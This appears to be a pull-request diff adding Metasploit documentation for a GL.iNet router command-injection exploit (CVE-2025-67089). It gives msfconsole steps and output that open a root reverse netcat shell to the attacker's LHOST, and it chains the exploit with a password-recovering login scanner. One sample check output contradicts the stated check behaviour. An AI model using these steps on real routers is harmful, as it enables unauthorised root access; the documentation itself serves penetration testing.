Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
118 changes: 118 additions & 0 deletions documentation/modules/exploit/linux/http/glinet_plugin_handler_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
## Vulnerable Application

This module exploits CVE-2025-67089, an authenticated command injection
vulnerability in the RPC API plugin handler of GL.iNet routers running
firmware < 4.6.8.

The `plugins` `install_package` RPC method passes user-supplied input
unsanitized into a shell command, allowing an authenticated administrator
to execute arbitrary commands as root.

Affected hardware includes (non-exhaustive):

- aarch64 boards: MT6000, AXT1800, MT3000 (filogic/ipq platforms)
- armle boards: MT300N-V2, AR750, AR300M (ath79/ramips platforms)
- mipsle boards: older ramips-based models

Valid admin credentials are required to reach the vulnerable code path.
Credentials can be obtained separately via the companion auxiliary module
`auxiliary/scanner/http/glinet_login`, which exploits CVE-2025-67090
(lack of rate limiting on the LuCI login endpoint).

### Firmware / Version Notes

GL.iNet's RPC API (JSON-RPC over `/rpc`, introduced in firmware 4.0+) does
not expose a working unauthenticated version-disclosure method. All
`system.*` methods (`get_status`, `get_info`, etc.) return `-32000 Access
denied` for an unauthenticated session id, even when the sid is correctly
typed as a string. Only the `challenge` method is reachable without a
session, and it does not return firmware version.

Because of this, `check` cannot confirm patch status pre-authentication.
It only confirms the target is a GL.iNet RPC endpoint (`CheckCode::Detected`).
Version/vulnerability confirmation effectively happens at exploitation time,
once valid credentials produce a session.

## Verification Steps

1. Install or update to the latest `metasploit-framework`.
2. Start `msfconsole`.
3. `use exploit/linux/http/glinet_plugin_handler_rce`
4. `set RHOSTS <target IP>`
5. `set USERNAME <admin username>` (default: `root`)
6. `set PASSWORD <admin password>`
7. `set PAYLOAD cmd/unix/reverse_netcat`
8. `set LHOST <your IP>`
9. `run`
10. Confirm a command shell session opens, and that `id` on the resulting
session reports root.

## Options

**USERNAME**

Admin username for the router's web/RPC login. Defaults to `root`.

**PASSWORD**

Admin password for the router's web/RPC login. Required — there is no
default. Obtainable via `auxiliary/scanner/http/glinet_login` if unknown.

**RPORT**

TCP port of the target's HTTP/RPC service. Defaults to `80`.

## Scenarios

### GL.iNet AXT1800, firmware 4.6.5, known credentials

```
msf6 > use exploit/linux/http/glinet_plugin_handler_rce
msf6 exploit(glinet_plugin_handler_rce) > set RHOSTS 192.168.8.1
RHOSTS => 192.168.8.1
msf6 exploit(glinet_plugin_handler_rce) > set USERNAME root
USERNAME => root
msf6 exploit(glinet_plugin_handler_rce) > set PASSWORD ********
PASSWORD => ********
msf6 exploit(glinet_plugin_handler_rce) > check
[*] 192.168.8.1:80 - Target exposes a GL.iNet RPC challenge endpoint;
firmware version cannot be verified without credentials
[*] 192.168.8.1:80 - The target is vulnerable.
msf6 exploit(glinet_plugin_handler_rce) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf6 exploit(glinet_plugin_handler_rce) > set LHOST 192.168.8.50
LHOST => 192.168.8.50
msf6 exploit(glinet_plugin_handler_rce) > run
[*] Target: 192.168.8.1:80
[*] Authenticating to RPC API
[+] Session obtained (sid: 3fa1c9e8...)
[*] Injecting payload via plugin handler (CVE-2025-67089)
[+] Payload delivered - check handler
[*] Command shell session 1 opened (192.168.8.50:4444 -> 192.168.8.1:xxxxx)

id
uid=0(root) gid=0(root)
```

### Unknown credentials — chained with the login scanner

```
msf6 > use auxiliary/scanner/http/glinet_login
msf6 auxiliary(glinet_login) > set RHOSTS 192.168.8.1
msf6 auxiliary(glinet_login) > run
[+] 192.168.8.1:80 - Login successful: root:<recovered password>

msf6 auxiliary(glinet_login) > use exploit/linux/http/glinet_plugin_handler_rce
msf6 exploit(glinet_plugin_handler_rce) > set RHOSTS 192.168.8.1
msf6 exploit(glinet_plugin_handler_rce) > set USERNAME root
msf6 exploit(glinet_plugin_handler_rce) > set PASSWORD <recovered password>
msf6 exploit(glinet_plugin_handler_rce) > run
```

### Patched firmware (>= 4.6.8)

`check` will still report `Detected` rather than `Safe`, since version
cannot be confirmed pre-auth. Running `exploit` against a patched target
is expected to fail at `do_login` or, if credentials succeed, at the
injection stage itself if the plugin handler has been sanitized — surfaced
via `Failure::Unreachable` / `Failure::NoAccess` rather than a session.
Loading
Loading